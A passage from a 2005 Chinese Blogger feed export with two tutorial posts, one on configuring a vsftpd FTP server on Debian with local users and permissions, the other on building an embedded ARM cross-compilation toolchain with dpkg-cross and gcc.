Hat、SuSE、Debian、GNU、GNOME、KDE、Gimp和OpenBSD等。在Linux下架设FTP服务，你可以选用vsftpd进行配置。vsftpd可以支持到单机4000并发用户，联机15000并发用户，比windows中的iis强大的多。vsftpd在安全性、高性能及稳定性三个方面有上佳的表现。它提供的主要功能包括虚拟IP设置、虚拟用户、Standalone、inetd操作模式、强大的单用户设置能力及带宽限流等。在安全方面，它从原理上修补了大多数Wu-FTP、ProFTP，乃至BSD-FTP的安装缺陷，使用安全编码技术解决了缓冲溢出问题，并能有效避免"globbing"类型的拒绝服务攻击。目前正在使用vsftpd的官方网站有Red Hat、SuSE、Debian、GNU、GNOME、KDE、Gimp和OpenBSD等。关于vsftpd的配置，在debian下，你可以这样进行：&lt;br /&gt;1、下载并安装vsftpd：&lt;br /&gt;# apt-get install vsftpd&lt;br /&gt;2、修改ftp配置文件：(a)在/etc目录下，用root用户打开vsftpd.conf，然后去掉下面三行注释：local_enable=YES、write_enable=YES、chroot_local_user=YES，把anonymous_enable=YES改为anonymous_enable=NO，这样可以禁止匿名用户登陆，而且允许有权限的用户上传下载文件。&lt;br /&gt;3、新建一个组ftp：&lt;br /&gt;# groupadd ftp&lt;br /&gt;新建拥有上传权限的用户ftpup(ftp目录为/ftp))：&lt;br /&gt;# useradd --home /ftp --shell /bin/bash --ingroup ftp ftpup&lt;br /&gt;新建只有下载权限的用户ftpdown：&lt;br /&gt;# adduser --no-create-home --shell /bin/bash --ingroup ftp ftpdown&lt;br /&gt;4、修改/ftp的属性：&lt;br /&gt;# chmod 750 /ftp 让/ftp&lt;br /&gt;目录只有属主可以读写，同组用户只能读，其它用户不能读写&lt;br /&gt;# chown ftpup.ftp /ftp&lt;br /&gt;让ftpup成为/ftp的属主&lt;br /&gt;5、重启ftp服务：&lt;br /&gt;# /etc/init.d/vsftpd restart&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-113054774184760926?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/113054774184760926/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=113054774184760926' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113054774184760926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113054774184760926'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2005/10/linuxftp.html' title='架设Linux上的FTP服务器'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11894000.post-113054695074768069</id><published>2005-10-29T08:41:00.000+08:00</published><updated>2005-10-29T08:49:10.746+08:00</updated><title type='text'>嵌入式开发平台的构建</title><content type='html'>如果你的工作是嵌入式产品开发，那么支持多平台的Linux工具将是你的首选。对于开发所需要的一系列工具，比如编辑器(vi)、编译器(gcc、g++、as）、链接工具(ld)、调试工具(gdb)项目管理(autoconf、automake、make)、函数库(libc)等等都可以免费获得。利用这些工具可以制作出专门用于编译嵌入式软件的编译器。在Debian Linux中你可以如下进行：&lt;br /&gt;(1) 安装如下工具，使用命令：&lt;br /&gt;# apt-get install dpkg-cross fakeroot dpatch autoconf2.13 gawk flex realpath automake1.7 debhelper cdbs&lt;br /&gt;(2) 获取binutils和libc的源码，使用如下命令：&lt;br /&gt;# apt-get source -x gcc-3.4 binutils libc&lt;br /&gt;(3) 从&lt;a href="http://bugs.debian.org/"&gt;http://bugs.debian.org&lt;/a&gt;获得binutils的交叉平台补丁，我使用的版本是binutils 2.15-5，对于不同的嵌入式平台，可以如下打补丁：&lt;br /&gt;$ patch -p0 &lt; binutils-cross-2.15-5.patch&lt;br /&gt;$ cd binutils-2.15&lt;br /&gt;$ TARGET=arch-linux fakeroot debian/rules binary-cross (此处 arch 可以被 arm, alpha,...等目标平台代替)&lt;br /&gt;(4) 安装所产生的deb包，使用命令：&lt;br /&gt;# dpkg -I xxx.deb&lt;br /&gt;(5)从&lt;a href="http://packages.debian.org/"&gt;http://packages.debian.org&lt;/a&gt;处查找并下载你所用平台的libdb1-compat, libc6, libc6-dev , linux-kernel-headers等deb包。&lt;br /&gt;(6)对相应平台的每个deb包使用dpkg-cross转换一下，使用如下命令：$ dpkg-cross -b -a arch package转换完之后进行安装：# dpkg -i converted-package&lt;br /&gt;(7)接着，编译目标平台的gcc，我是用的是gcc-3.4.3，可以如下进行：&lt;br /&gt;$ export GCC_TARGET=arch (此处arch可以被arm, alpha,...等目标平台所代替)&lt;br /&gt;$ cd gcc-3.4-3.4.3&lt;br /&gt;$ debian/rules control&lt;br /&gt;$ dpkg-buildpackage -b -rfakeroot&lt;br /&gt;(8)安装所产生的如下八个deb包：&lt;br /&gt;libstdc++6-0-arm-cross_3.4.3-3_all.deb&lt;br /&gt;libstdc++6-0-dev-arm-cross_3.4.3-3_all.deb&lt;br /&gt;libstdc++6-0-dbg-arm-cross_3.4.3-3_all.deb&lt;br /&gt;libstdc++6-0-pic-arm-cross_3.4.3-3_all.deb&lt;br /&gt;g++-3.4-arm-linux_3.4.3-3_i386.deb&lt;br /&gt;gcc-3.4-arm-linux_3.4.3-3_i386.deb&lt;br /&gt;cpp-3.4-arm-linux_3.4.3-3_i386.deb&lt;br /&gt;libgcc1-arm-cross_3.4.3-3_all.deb&lt;br /&gt;至此，你的嵌入式开发平台就搭建好了。也可以参见：&lt;a href="http://www.emdebian.org/tools/crossdev.html"&gt;http://www.emdebian.org/tools/crossdev.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11894000-113054695074768069?l=kpld.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kpld.blogspot.com/feeds/113054695074768069/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11894000&amp;postID=113054695074768069' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113054695074768069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11894000/posts/default/113054695074768069'/><link rel='alternate' type='text/html' href='http://kpld.blogspot.com/2005/10/blog-post.html' title='嵌入式开发平台的构建'/><author><name>kpld</name><uri>http://www.blogger.com/profile/04696686280494393925</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
